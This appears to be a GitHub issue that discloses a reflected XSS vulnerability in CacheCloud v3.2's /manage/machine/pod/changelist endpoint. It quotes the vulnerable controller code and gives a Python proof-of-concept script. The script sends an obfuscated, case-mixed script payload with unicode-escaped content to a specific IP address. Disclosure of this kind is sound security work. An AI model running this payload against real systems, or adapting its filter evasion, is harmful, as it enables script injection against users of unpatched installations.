Skip to content

XSS vulnerability on /manage/machine/pod/changelist #378

@NinjaGPT

Description

@NinjaGPT

XSS vulnerability on /manage/machine/pod/changelist

Summary

In the latest version (v3.2) of CacheCloud, the endpoint /manage/machine/pod/changelist does not encode user-controllable parameters when outputting them on web page, resulting in XSS vulnerability. This allows attackers to launch XSS attacks against users.

Details

  • SOURCE & SINK
// src/main/java/com/sohu/cache/web/controller/MachineManageController.java#L61-L72
61:    @RequestMapping({"/pod/changelist"})
62:    public ModelAndView doPodList(Model model, String ip) {
63:       List<MachineRelation> machineRelationList = this.machineDeployCenter.getMachineRelationList(ip);
64:       MachineInfo machineinfo = this.machineCenter.getMachineInfoByIp(ip);
65:       String realIp = machineinfo != null ? machineinfo.getRealIp() : "";
66:       this.logger.info("ip:{} ,realIp:{} ,pod change size:{}", new Object[]{ip, realIp, machineRelationList.size()});
67:       model.addAttribute("ip", ip);
68:       model.addAttribute("realIp", realIp);
69:       model.addAttribute("relationList", machineRelationList);
70:       return new ModelAndView("manage/pod/list");
71:    }
72:

POC

import requests
from requests.sessions import Session
class CustomSession(Session):
    def request(
        self,
        method,
        url,
        params = None,
        data = None,
        headers = None,
        cookies = None,
        files = None,
        auth = None,
        timeout = None,
        allow_redirects = True,
        proxies = None,
        hooks = None,
        stream = None,
        verify = None,
        cert = None,
        json = None,
    ):
        arg_names = (
            'method', 'url', 'params', 'data', 'headers', 'cookies', 'files', 'auth', 'timeout',
            'allow_redirects', 'proxies', 'hooks', 'stream', 'verify', 'cert', 'json'
        )
        local_variables = locals()
        local_variables = {n: local_variables[n] for n in local_variables if n in arg_names}
        
        local_variables['headers'] = local_variables.get('headers') or dict()
        local_variables['headers'].update({'referer': 'http://34.169.199.145:40101/admin/app/list', 'User-Agent': 'oxpecker', 'accept-language': 'en-US', 'x-requested-with': 'XMLHttpRequest', 'origin': 'http://34.169.199.145:40101', 'upgrade-insecure-requests': '1', 'pragma': 'no-cache', 'cache-control': 'no-cache', 'accept-encoding': 'gzip, deflate'})
        return super().request(**{n: local_variables[n] for n in local_variables if n in arg_names})
requests.sessions.Session = CustomSession
# ================================== Poc Start ===================================
import requests
import json
url = 'http://34.169.199.145:40101/manage/machine/pod/changelist'
payload = {'ip': "<SCript>eval('\\u0061\\u006c\\u0065\\u0072\\u0074\\u0028\\u0022\\u007a\\u0061\\u0073\\u0074\\u002d\\u0078\\u0073\\u0073\\u0022\\u0029')</ScRIpt>"}
response = requests.post(url, data=payload, verify=False, allow_redirects=False)
print('Status Code:', response.status_code)
print('Response Text:', response.text)
# =================================== Poc End ====================================
  • Screenshot
Image

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions